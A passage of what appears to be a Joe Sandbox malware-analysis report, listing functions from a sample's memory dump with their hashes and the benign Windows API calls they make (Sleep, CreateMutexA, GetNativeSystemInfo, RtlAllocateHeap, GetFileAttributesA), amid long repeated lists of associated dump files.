Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 0607a4dd5dcc008259aebe148f9ca9d59ffed2899b782fd368cb282d5fba786b
Instruction ID: 425d1337c8418d985424a335e4f5a724be31c5bb83d0d6f3c1b570943ac966de
Opcode Fuzzy Hash: 0607a4dd5dcc008259aebe148f9ca9d59ffed2899b782fd368cb282d5fba786b
Instruction Fuzzy Hash: 02216D727042049BEB18AF6CDC8DB3DB772FFC1310F20462AE508873D1C77A59908616

Function 004FA856 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 0831366f7648fdd23cdf5463144e8418734f5f04cd5dabfa9cdfdd3b4e9ae7c9
Instruction ID: a7ac1f03796f5043ed3a16649a2bd1fa911753fd44562364ccc054f8ec23cd6c
Opcode Fuzzy Hash: 0831366f7648fdd23cdf5463144e8418734f5f04cd5dabfa9cdfdd3b4e9ae7c9
Instruction Fuzzy Hash: 8C2160B17452099BE72477A88C9EB3E77629F81344F200817E30CD73C1CABE48A1415B

Function 004FA34F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 3f00def8994842c78f5ada6654e90682022e4cab87e022c49770d2ed1713f2ad
Instruction ID: 7733e49d6a31365dc3a1eeb88206c1043fa144fe7e02b9011cd1eb671ba25a89
Opcode Fuzzy Hash: 3f00def8994842c78f5ada6654e90682022e4cab87e022c49770d2ed1713f2ad
Instruction Fuzzy Hash: E421ACB27102049BEB089B68DC8DB3DBB72EFC2310F20462AE50CD77D0C77A55A08256

Function 004F7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004F7ED3

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 147f2aa0d0443cbb7931d7dbb76991dcb161e99bce343dd26e10343cd32b07ea
Instruction ID: ca9669f9639ac51756903dc30aecd15d81fb464b27a5d3f81735367350e3fc62
Opcode Fuzzy Hash: 147f2aa0d0443cbb7931d7dbb76991dcb161e99bce343dd26e10343cd32b07ea
Instruction Fuzzy Hash: 87E13C70E0024897DB14BB28CC1B3BE7F71AB46724F94428EE9156B3C2DB395E8587C6

Function 0052D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0052A813,00000001,00000364,00000006,000000FF,?,0052EE3F,?,00000004,00000000,?,?), ref: 0052D870

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: eeefc92cbfbecb560310c6095fce2d6f4e879a1760388718e601ba82c6c82e26
Instruction ID: 6441b15b50caa3e15a7b224848af74b2ce61f928f84cf06e7d7d231e6587153e
Opcode Fuzzy Hash: eeefc92cbfbecb560310c6095fce2d6f4e879a1760388718e601ba82c6c82e26
Instruction Fuzzy Hash: EAF0E93660513566FB216B72BC05A6B3F79BF83770F158021ED08A71D1DA20EC0081F1

Function 004F87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,004FDA1D,?,?,?,?), ref: 004F87B9

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b97b7646ee08dfdfa8c201889d1d34f4cc495c0bd73a57f35691a1b5f1be73a2
Instruction ID: f3b9f6d6d3858237e4cf3869ecc84f9d3c1f6d7d06dd96002c978ef9dd84c7b1
Opcode Fuzzy Hash: b97b7646ee08dfdfa8c201889d1d34f4cc495c0bd73a57f35691a1b5f1be73a2
Instruction Fuzzy Hash: 23C08C281226040AED1C753C099CABA338549977E43F41B8DE1B04F2E1CA3D58079258

Function 004F87B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,004FDA1D,?,?,?,?), ref: 004F87B9

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
